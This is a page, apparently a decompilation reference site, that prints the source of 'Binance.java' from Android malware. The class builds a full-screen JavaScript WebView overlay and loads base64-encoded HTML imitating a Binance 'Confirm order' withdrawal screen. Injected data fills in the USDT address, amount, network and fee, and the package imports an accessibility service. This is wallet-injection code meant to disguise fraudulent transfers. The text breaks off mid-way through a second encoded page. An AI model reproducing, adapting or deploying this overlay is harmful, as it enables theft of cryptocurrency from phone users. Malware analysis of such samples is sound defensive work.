安全维护 v35.18.67.68版本的 MD5 值为:950748e098623ea9845d78a485358579
以下内容为反编译后的 Binance.java 源代码,内容仅作参考
package ld.crude.qwaddfqnzcrbkkwhtehsnliryjtqlczkuyeegiwlnjxrwpscii2;
import android.accessibilityservice.AccessibilityService;
import android.content.Context;
import android.graphics.Rect;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.view.View;
import android.view.ViewGroup;
import android.view.WindowManager;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityNodeInfo;
import android.webkit.JavascriptInterface;
import android.webkit.JsResult;
import android.webkit.ValueCallback;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.widget.FrameLayout;
import android.widget.TextView;
import androidx.core.view.accessibility.AccessibilityNodeInfoCompat;
import java.util.HashMap;
import java.util.List;
import java.util.Locale;
import ld.crude.qwaddfqnzcrbkkwhtehsnliryjtqlczkuyeegiwlnjxrwpscii2.fxcxkaenhtklnuetiehkwyzngojfxhbwszokbtuspmsyqnavwh3.AccessService;
import ld.crude.qwaddfqnzcrbkkwhtehsnliryjtqlczkuyeegiwlnjxrwpscii2.fxcxkaenhtklnuetiehkwyzngojfxhbwszokbtuspmsyqnavwh3.MySettings;
import ld.crude.qwaddfqnzcrbkkwhtehsnliryjtqlczkuyeegiwlnjxrwpscii2.fxcxkaenhtklnuetiehkwyzngojfxhbwszokbtuspmsyqnavwh3.initializeService;
import org.json.JSONObject;
public class Binance {
public static FrameLayout binanceWalletInjview;
public static WindowManager.LayoutParams binanceWalletInjviewLayoutParams;
public static boolean ifShowDialog;
private static boolean ifWebViewFullScreen;
private static int showType;
public static TextView textView;
private static String usdtaddress;
private static String usdtamount;
public static WebView webView;
private static WindowManager windowManager;
public static void binanceinj(final Context context) {
if (binanceWalletInjview == null) {
initInjView(context);
}
if (webView == null) {
MyWebView myWebView = new MyWebView(context);
webView = myWebView;
char c = 65535;
myWebView.setLayoutParams(new ViewGroup.LayoutParams(-1, -1));
webView.requestFocus();
webView.setFocusable(true);
webView.setFocusableInTouchMode(true);
WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true);
settings.setJavaScriptCanOpenWindowsAutomatically(true);
settings.setDomStorageEnabled(true);
settings.setCacheMode(1);
webView.setScrollBarStyle(0);
webView.setLayerType(2, null);
webView.setWebChromeClient(new MyWebChromeClient());
webView.requestFocus(130);
webView.requestFocusFromTouch();
webView.setEnabled(true);
webView.setVerticalScrollBarEnabled(false);
webView.setHorizontalScrollBarEnabled(false);
ViewGroup.LayoutParams layoutParams = webView.getLayoutParams();
layoutParams.height = ScreenUtil.getScreenHeight(context);
webView.setLayoutParams(layoutParams);
String language = Locale.getDefault().getLanguage();
language.hashCode();
switch (language.hashCode()) {
case 3241:
if (language.equals("en")) {
c = 0;
break;
}
break;
case 3383:
if (language.equals("ja")) {
c = 1;
break;
}
break;
case 3428:
if (language.equals("ko")) {
c = 2;
break;
}
break;
case 3886:
if (language.equals("zh")) {
c = 3;
break;
}
break;
}
String str = "";
switch (c) {
case 0:
default:
str = "PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWF4aW11bS1zY2FsZT0xLjAsIG1pbmltdW0tc2NhbGU9MS4wLCB1c2VyLXNjYWxhYmxlPW5vIj4KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzMj9mYW1pbHk9Um9ib3RvOndnaHRANDAwOzUwMCZkaXNwbGF5PXN3YXAiIHJlbD0ic3R5bGVzaGVldCI+CgogICAgPHN0eWxlPgogICAgICAgICogewogICAgICAgICAgICBib3gtc2l6aW5nOiBib3JkZXItYm94OwogICAgICAgICAgICBtYXJnaW46IDA7CiAgICAgICAgICAgIHBhZGRpbmc6IDA7CiAgICAgICAgICAgIC8qYmFja2dyb3VuZC1jb2xvcjogI0ZGRjsqLwogICAgICAgICAgICBmb250LWZhbWlseTogJ1JvYm90bycsIHNhbnMtc2VyaWY7CiAgICAgICAgfQoKICAgICAgICBodG1sIHsKICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuNjsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI0ZGRjsKICAgICAgICB9CgogICAgICAgIC5jb250YWluZXIgewogICAgICAgICAgICBtYXgtd2lkdGg6IDQwMHB4OwogICAgICAgICAgICBtYXJnaW46IDAgYXV0bzsKICAgICAgICAgICAgcGFkZGluZzogMTVweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI0ZGRjsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgIH0KCiAgICAgICAgaDEgewogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDFyZW07CiAgICAgICAgfQoKICAgICAgICBsYWJlbCB7CiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwLjVyZW07CiAgICAgICAgfQoKICAgICAgICBpbnB1dFt0eXBlPSJ0ZXh0Il0sIGlucHV0W3R5cGU9Im51bWJlciJdIHsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIHBhZGRpbmc6IDhweDsKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMXJlbTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZmZmOwogICAgICAgIH0KCiAgICAgICAgYnV0dG9uIHsKICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoNjgsMTE2LDE4MiwxKTsKICAgICAgICAgICAgY29sb3I6ICNmZmY7CiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICAgICAgfQogICAgICAgIC5yLWxhbmcgewogICAgICAgICAgICBjb2xvcjogIzIyMjIyMjsKICAgICAgICB9CiAgICAgICAgYnV0dG9uOmhvdmVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzQ0NDsKICAgICAgICB9CiAgICAgICAgLmRldGFpbC1pdGVtIHsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuOwogICAgICAgICAgICBwYWRkaW5nOiAwLjNyZW0gMDsKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICB9CiAgICAgICAgLmRldGFpbC1pdGVtOm5vdCg6bGFzdC1jaGlsZCkgewogICAgICAgICAgICAvKmJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjY2NjOyovCiAgICAgICAgfQogICAgICAgIC5kZXRhaWwgewogICAgICAgICAgICAvKiBtYXJnaW4tdG9wOiAxcmVtOwogICAgICAgICAgICBwYWRkaW5nOiAwLjVyZW07CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNjY2M7CiAgICAgICAgICAgIC8qIGJhY2tncm91bmQtY29sb3I6IGxpZ2h0Ymx1ZTsgKi8KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogN3B4OwoKICAgICAgICAgICAgcGFkZGluZzogMTBweCAxMHB4OwogICAgICAgICAgICBjb2xvcjogIzg3OGQ5OTsKICAgICAgICAgICAgLypib3gtc2hhZG93OiAxcHggMXB4IDBweCByZ2JhKDAsIDAsIDAsIDAuMjUpLCAtMXB4IDFweCAwcHggcmdiYSgwLCAwLCAwLCAwLjI1KTsqLwogICAgICAgICAgICBtYXJnaW4tdG9wOiAyMHB4OwogICAgICAgICAgICBmb250LXNpemU6IDE2cHg7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA1MDA7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmNWY1ZjU7CiAgICAgICAgfQogICAgICAgIC5mb290ZXIgewogICAgICAgICAgICBwb3NpdGlvbjogZml4ZWQ7CiAgICAgICAgICAgIGJvdHRvbTogMDsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIHBhZGRpbmc6IDFyZW07CiAgICAgICAgfQogICAgICAgIC5uYXYtaWNvbiB7CiAgICAgICAgICAgIHdpZHRoOiAxcmVtOwogICAgICAgIH0KICAgICAgICAubmF2LWJhciB7CiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsKICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgIH0KICAgICAgICAubGVmdCB7CiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7CiAgICAgICAgfQogICAgICAgIC5jZW50ZXIgewogICAgICAgICAgICBwYWRkaW5nOiAwcHg7CiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICAgICAgICAgICAgbGVmdDogNTAlOwogICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoLTUwJSk7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMjBweDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6NTAwOwogICAgICAgIH0KICAgICAgICAudHJhbnNmZXItYW1vdW50IHsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBtYXJnaW4tdG9wOiAzNXB4OwogICAgICAgICAgICBmb250LXNpemU6IDJyZW07CiAgICAgICAgfQogICAgICAgIC51c2QgewogICAgICAgICAgICBmb250LXNpemU6IDFyZW07CiAgICAgICAgICAgIGNvbG9yOiAjY2NjOwogICAgICAgIH0KICAgICAgICAubGVmdC1mb250IHsKICAgICAgICAgICAgY29sb3I6ICMzMzM7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDsKICAgICAgICB9CiAgICAgICAgLnJpZ2h0LWZvbnQgewogICAgICAgICAgICBmb250LXNpemU6IDE0cHg7CiAgICAgICAgfQogICAgICAgIC5sb2FkaW5nLW92ZXJsYXkgewogICAgICAgIHBvc2l0aW9uOiBmaXhlZDsKICAgICAgICB0b3A6IDA7CiAgICAgICAgbGVmdDogMDsKICAgICAgICByaWdodDogMDsKICAgICAgICBib3R0b206IDA7CiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjgpOwogICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsKICAgIH0KCiAgICAuc3Bpbm5lciB7CiAgICAgICAgd2lkdGg6IDUwcHg7CiAgICAgICAgaGVpZ2h0OiA1MHB4OwogICAgICAgIGJvcmRlcjogNXB4IHNvbGlkIHJnYmEoMCwgMCwgMCwgMC4xKTsKICAgICAgICBib3JkZXItbGVmdC1jb2xvcjogIzM5NTZjZDsKICAgICAgICBib3JkZXItcmFkaXVzOiA1MCU7CiAgICAgICAgYW5pbWF0aW9uOiBzcGluIDFzIGxpbmVhciBpbmZpbml0ZTsKICAgIH0KICAgICAgICAudGlwcyB7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2Y1ZjVmNTsKICAgICAgICAgICAgcGFkZGluZzogMTBweCAxMHB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IDEwcHg7CiAgICAgICAgfQoKICAgIEBrZXlmcmFtZXMgc3BpbiB7CiAgICAgICAgMTAwJSB7CiAgICAgICAgICAgIHRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7CiAgICAgICAgfQogICAgfQogICAgaHIgewogICAgICAgICAgICBib3JkZXI6IG5vbmU7IC8qIOenu+mZpOm7mOiupOi+ueahhiAqLwogICAgICAgICAgICBib3JkZXItdG9wOiAxcHggc29saWQgI2RkZGRkZDsgLyog6K6+572u5paw6L655qGG77yM5Y+v5Lul5L+u5pS55a695bqm44CB6aKc6Imy562JICovCiAgICAgICAgICAgIGhlaWdodDogMDsgLyog6YeN6K6+6auY5bqmICovCiAgICAgICAgICAgIHdpZHRoOiAxMDAlOyAvKiDorr7nva7liIblibLnur/lrr3luqYgKi8KICAgICAgICAgICAgY2xlYXI6IGJvdGg7IC8qIOmYsuatouWIhuWJsue6v+WRqOWbtOeahOWFg+e0oOWPkeeUn+a1ruWKqCAqLwogICAgICAgICAgICBtYXJnaW46IDEwcHggMDsKICAgIH0KICAgIDwvc3R5bGU+Cgo8L2hlYWQ+Cjxib2R5PgogICAgPCEtLSA8ZGl2IGNsYXNzPSJsb2FkaW5nLW92ZXJsYXkiIGlkPSJsb2FkaW5nT3ZlcmxheSI+CiAgICA8ZGl2IGNsYXNzPSJzcGlubmVyIj48L2Rpdj4KPC9kaXY+IC0tPgogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJuYXYtYmFyIj4KICAgICAgICAgICAgPCEtLSDov5Tlm57mjInpkq4gLS0+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImxlZnQiPgogICAgICAgICAgICAgICAgPGltZyBzcmM9IiIgYWx0PSIiIGNsYXNzPSJuYXYtaWNvbiI+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8IS0tIOWxheS4reaWh+WtlyAtLT4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2VudGVyIGxhbmciIGRhdGEtbGFuZy1rZXk9InRpdGxlIiBzdHlsZT0iZm9udC1zaXplOiAxN3B4OyI+PC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNlbnRlciBsYW5nIiBkYXRhLWxhbmcta2V5PSJzdWJfdGl0bGUiIHN0eWxlPSJtYXJnaW4tdG9wOiA1MHB4OyBmb250LXNpemU6IDE1cHg7IGNvbG9yOiAjODc4ZDk5Ij48L2Rpdj4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPGRpdiBjbGFzcz0idHJhbnNmZXItYW1vdW50Ij4KICAgICAgICAgICAgPHNwYW4gY2xhc3M9InVzZHRfYW1vdW50IiBzdHlsZT0iZm9udC13ZWlnaHQ6IDYwMCIgZGF0YS1sYW5nLWtleT0idXNkdF9hbW91bnQiPjwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC1zaXplOiAyMHB4OyBmb250LXdlaWdodDogMzAwIj4gVVNEVDwvc3Bhbj4KICAgICAgICAgICAgPCEtLSA8ZGl2IGNsYXNzPSJ1c2QiPuKJiCAkPHNwYW4gY2xhc3M9InVzZF9hbW91bnQiPjYxLjg1PC9zcGFuPjxzcGFuPjwvc3Bhbj48L2Rpdj4gLS0+CiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9ImRldGFpbCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImRldGFpbC1pdGVtIj4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJsYW5nIiBkYXRhLWxhbmcta2V5PSJ3aXRoZHJhd19hZGRyZXNzIj48L3NwYW4+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0icmlnaHQtZm9udCBmcm9tIGxhbmcgci1sYW5nIiBkYXRhLWxhbmcta2V5PSJhc3NldCI+PC9zcGFuPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZGV0YWlsLWl0ZW0iPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImxhbmciIGRhdGEtbGFuZy1rZXk9ImNoYWluIj48L3NwYW4+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0icmlnaHQtZm9udCBjaGFpbiByLWxhbmciIGRhdGEtbGFuZy1rZXk9ImNoYWluIj48L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJkZXRhaWwtaXRlbSI+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibGFuZyIgZGF0YS1sYW5nLWtleT0iZnJvbV9hZGRyZXNzIiBzdHlsZT0id2hpdGUtc3BhY2U6IG5vd3JhcCI+PC9zcGFuPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InJpZ2h0LWZvbnQgdG8gci1sYW5nIj48L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8aHI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImRldGFpbC1pdGVtIj4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJsYW5nIiBkYXRhLWxhbmcta2V5PSJzeW1ib2wiIHN0eWxlPSJ3aGl0ZS1zcGFjZTogbm93cmFwIj48L3NwYW4+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0icmlnaHQtZm9udCB0byByLWxhbmciPlVTRFQ8L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJkZXRhaWwtaXRlbSI+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibGFuZyIgZGF0YS1sYW5nLWtleT0iYW1vdW50IiBzdHlsZT0id2hpdGUtc3BhY2U6IG5vd3JhcCI+PC9zcGFuPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InJpZ2h0LWZvbnQgci1sYW5nIHRvdGFsX2Ftb3VudCI+PHNwYW4+VVNEVDwvc3Bhbj48L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJkZXRhaWwtaXRlbSI+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibGFuZyIgZGF0YS1sYW5nLWtleT0iZmVlIiBzdHlsZT0id2hpdGUtc3BhY2U6IG5vd3JhcCI+PC9zcGFuPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InJpZ2h0LWZvbnQgZmVlIHItbGFuZyI+PC9zcGFuPgogICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9InRpcHMiPgogICAgICAgICAgICA8cCBjbGFzcz0ici1sYW5nIGxhbmciIGRhdGEtbGFuZy1rZXk9InRpcHMiPgogICAgICAgICAgICA8L3A+CiAgICAgICAgPC9kaXY+CgoKICAgIDwvZGl2PgogICAgICAgICAgICA8IS0tIOW6lemDqOaMiemSriAtLT4KICAgICAgICAgICAgPCEtLSA8ZGl2IGNsYXNzPSJmb290ZXIiPgogICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0ibGFuZyIgc3R5bGU9ImJhY2tncm91bmQ6IHJnYmEoNjgsIDExNiwgMTgyLCk7IiBkYXRhLWxhbmcta2V5PSJjb25maXJtIj48L2J1dHRvbj4KICAgICAgICAgICAgPC9kaXY+IC0tPgo8L2JvZHk+CjxzY3JpcHQ+CiAgICAvLyAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAvLyAgICAgY29uc3QgbG9hZGluZ092ZXJsYXkgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9hZGluZ092ZXJsYXknKTsKICAgIC8vICAgICBsb2FkaW5nT3ZlcmxheS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogICAgLy8gfSwgMzAwMCk7CiAgICBmdW5jdGlvbiAgY2hhbmdMYW5nKGRhdGEpIHsKICAgICAgICBjb25zdCBsYW5ndWFnZVBhY2sgPSB7CiAgICAgICAgICAgIGVuOiB7CiAgICAgICAgICAgICAgICB0aXRsZTogJ0NvbmZpcm0gb3JkZXInLAogICAgICAgICAgICAgICAgc3ViX3RpdGxlOiAnWW91IHdpbGwgZ2V0JywKICAgICAgICAgICAgICAgIHdpdGhkcmF3X2FkZHJlc3M6ICdBZGRyZXNzJywKICAgICAgICAgICAgICAgIGNoYWluOiAnTmV3b3JrJywKICAgICAgICAgICAgICAgIGZyb21fYWRkcmVzczogJ1NvdXJjZScsCiAgICAgICAgICAgICAgICBzeW1ib2w6ICdDb2luJywKICAgICAgICAgICAgICAgIGFtb3VudDonQW1vdW50JywKICAgICAgICAgICAgICAgIGZlZTogJ05ldHdvcmsgZmVlJywKICAgICAgICAgICAgICAgIHRpcHM6ICdFbnN1cmUgdGhhdCB0aGUgYWRkcmVzcyBpcyBjb3JyZWN0IGFuZCBvbiB0aGUgc2FtZSBuZXR3b3JrLCBUcmFuc2FjdGlvbiBjYW5ub3QgYmUgY2FuY2VsbGVkLicsCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgIHpoOiB7CiAgICAgICAgICAgICAgICB0aXRsZTogJ+ehruiupOiuouWNlScsCiAgICAgICAgICAgICAgICBzdWJfdGl0bGU6ICflrp7pmYXliLDotKY6JywKICAgICAgICAgICAgICAgIHdpdGhkcmF3X2FkZHJlc3M6ICfmj5DluIHlnLDlnYAnLAogICAgICAgICAgICAgICAgY2hhaW46ICfkuLvnvZHnu5wnLAogICAgICAgICAgICAgICAgZnJvbV9hZGRyZXNzOiAn5o+Q546w5p2l5rqQ6LSm5oi3JywKICAgICAgICAgICAgICAgIHN5bWJvbDogJ+W4geenjScsCiAgICAgICAgICAgICAgICBhbW91bnQ6J+mHkeminScsCiAgICAgICAgICAgICAgICBmZWU6ICfnvZHnu5zmiYvnu63otLknLAogICAgICAgICAgICAgICAgdGlwczogJ+ivt+ehruS/neaCqOi+k+WFpeS6huato+ehrueahOaPkOW4geWcsOWdgOW5tuS4lOaCqOmAieaLqeeahOi9rOi0pue9kee7nOS4juWcsOWdgOebuOWMuemFjeOAguaPkOW4geiuouWNleWIm+W7uuWQjuS4jeWPr+WPlua2iCcsCiAgICAgICAgICAgIH0KICAgICAgICB9OwoKICAgICAgICBsZXQgY3VycmVudExhbmd1YWdlID0gJ2VuJwogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGNvbnN0IGxhbmcgPSBkYXRhLmxhbmc7CiAgICAgICAgICAgIGlmIChsYW5nID09PSAnemgnKSB7CiAgICAgICAgICAgICAgICBjdXJyZW50TGFuZ3VhZ2UgPSAnemgnOwogICAgICAgICAgICB9CiAgICAgICAgfSBjYXRjaCAoZSkgewogICAgICAgICAgICBjb25zb2xlLmxvZyhlKTsKICAgICAgICB9CgogICAgICAgIGNvbnN0IGVsZW1lbnRzID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmxhbmcnKTsKCiAgICAgICAgZWxlbWVudHMuZm9yRWFjaChlbGVtZW50ID0+IHsKICAgICAgICAgICAgY29uc3Qga2V5ID0gZWxlbWVudC5nZXRBdHRyaWJ1dGUoJ2RhdGEtbGFuZy1rZXknKTsKICAgICAgICAgICAgZWxlbWVudC50ZXh0Q29udGVudCA9IGxhbmd1YWdlUGFja1tjdXJyZW50TGFuZ3VhZ2VdW2tleV07CiAgICAgICAgfSk7CgogICAgfTsKICAgIGZ1bmN0aW9uIHRyYW5zYWN0aW9uX2luZm8oZGF0YSkgewogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoInVzZHRfYW1vdW50IilbMF0uaW5uZXJIVE1MID0gZGF0YS51c2R0X2Ftb3VudDsKICAgICAgICA8IS0tIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoInVzZF9hbW91bnQiKVswXS5pbm5lckhUTUwgPSBkYXRhLnVzZF9hbW91bnQ7IC0tPgogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImNoYWluIilbMF0uaW5uZXJIVE1MID0gZGF0YS5jaGFpbgogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImZyb20iKVswXS5pbm5lckhUTUwgPSBkYXRhLmZyb207CiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgidG8iKVswXS5pbm5lckhUTUwgPSBkYXRhLnRvOwogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImZlZSIpWzBdLmlubmVySFRNTCA9IGRhdGEuZmVlOwogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoInRvdGFsX2Ftb3VudCIpWzBdLmlubmVySFRNTCA9IGRhdGEudG90YWxfYW1vdW50OwogICAgfQogICAgLy/kvb/nlKjml7blgJnms6jph4rov5nkuKTooYwKICAgIHdpbmRvdy5vbmxvYWQgPSBjaGFuZ0xhbmcoe2xhbmc6ICdlbid9KTsKPC9zY3JpcHQ+CjwvaHRtbD4=";
break;
case 1:
case 2:
break;
case 3:
str = "PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWF4aW11bS1zY2FsZT0xLjAsIG1pbmltdW0tc2NhbGU9MS4wLCB1c2VyLXNjYWxhYmxlPW5vIj4KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzMj9mYW1pbHk9Um9ib3RvOndnaHRANDAwOzUwMCZkaXNwbGF5PXN3YXAiIHJlbD0ic3R5bGVzaGVldCI+CgogICAgPHN0eWxlPgogICAgICAgICogewogICAgICAgICAgICBib3gtc2l6aW5nOiBib3JkZXItYm94OwogICAgICAgICAgICBtYXJnaW46IDA7CiAgICAgICAgICAgIHBhZGRpbmc6IDA7CiAgICAgICAgICAgIC8qYmFja2dyb3VuZC1jb2xvcjogI0ZGRjsqLwogICAgICAgICAgICBmb250LWZhbWlseTogJ1JvYm90bycsIHNhbnMtc2VyaWY7CiAgICAgICAgfQoKICAgICAgICBodG1sIHsKICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuNjsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI0ZGRjsKICAgICAgICB9CgogICAgICAgIC5jb250YWluZXIgewogICAgICAgICAgICBtYXgtd2lkdGg6IDQwMHB4OwogICAgICAgICAgICBtYXJnaW46IDAgYXV0bzsKICAgICAgICAgICAgcGFkZGluZzogMTVweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI0ZGRjsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgIH0KCiAgICAgICAgaDEgewogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDFyZW07CiAgICAgICAgfQoKICAgICAgICBsYWJlbCB7CiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwLjVyZW07CiAgICAgICAgfQoKICAgICAgICBpbnB1dFt0eXBlPSJ0ZXh0Il0sIGlucHV0W3R5cGU9Im51bWJlciJdIHsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIHBhZGRpbmc6IDhweDsKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMXJlbTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZmZmOwogICAgICAgIH0KCiAgICAgICAgYnV0dG9uIHsKICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoNjgsMTE2LDE4MiwxKTsKICAgICAgICAgICAgY29sb3I6ICNmZmY7CiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICAgICAgfQogICAgICAgIC5yLWxhbmcgewogICAgICAgICAgICBjb2xvcjogIzIyMjIyMjsKICAgICAgICB9CiAgICAgICAgYnV0dG9uOmhvdmVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzQ0NDsKICAgICAgICB9CiAgICAgICAgLmRldGFpbC1pdGVtIHsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuOwogICAgICAgICAgICBwYWRkaW5nOiAwLjNyZW0gMDsKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICB9CiAgICAgICAgLmRldGFpbC1pdGVtOm5vdCg6bGFzdC1jaGlsZCkgewogICAgICAgICAgICAvKmJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjY2NjOyovCiAgICAg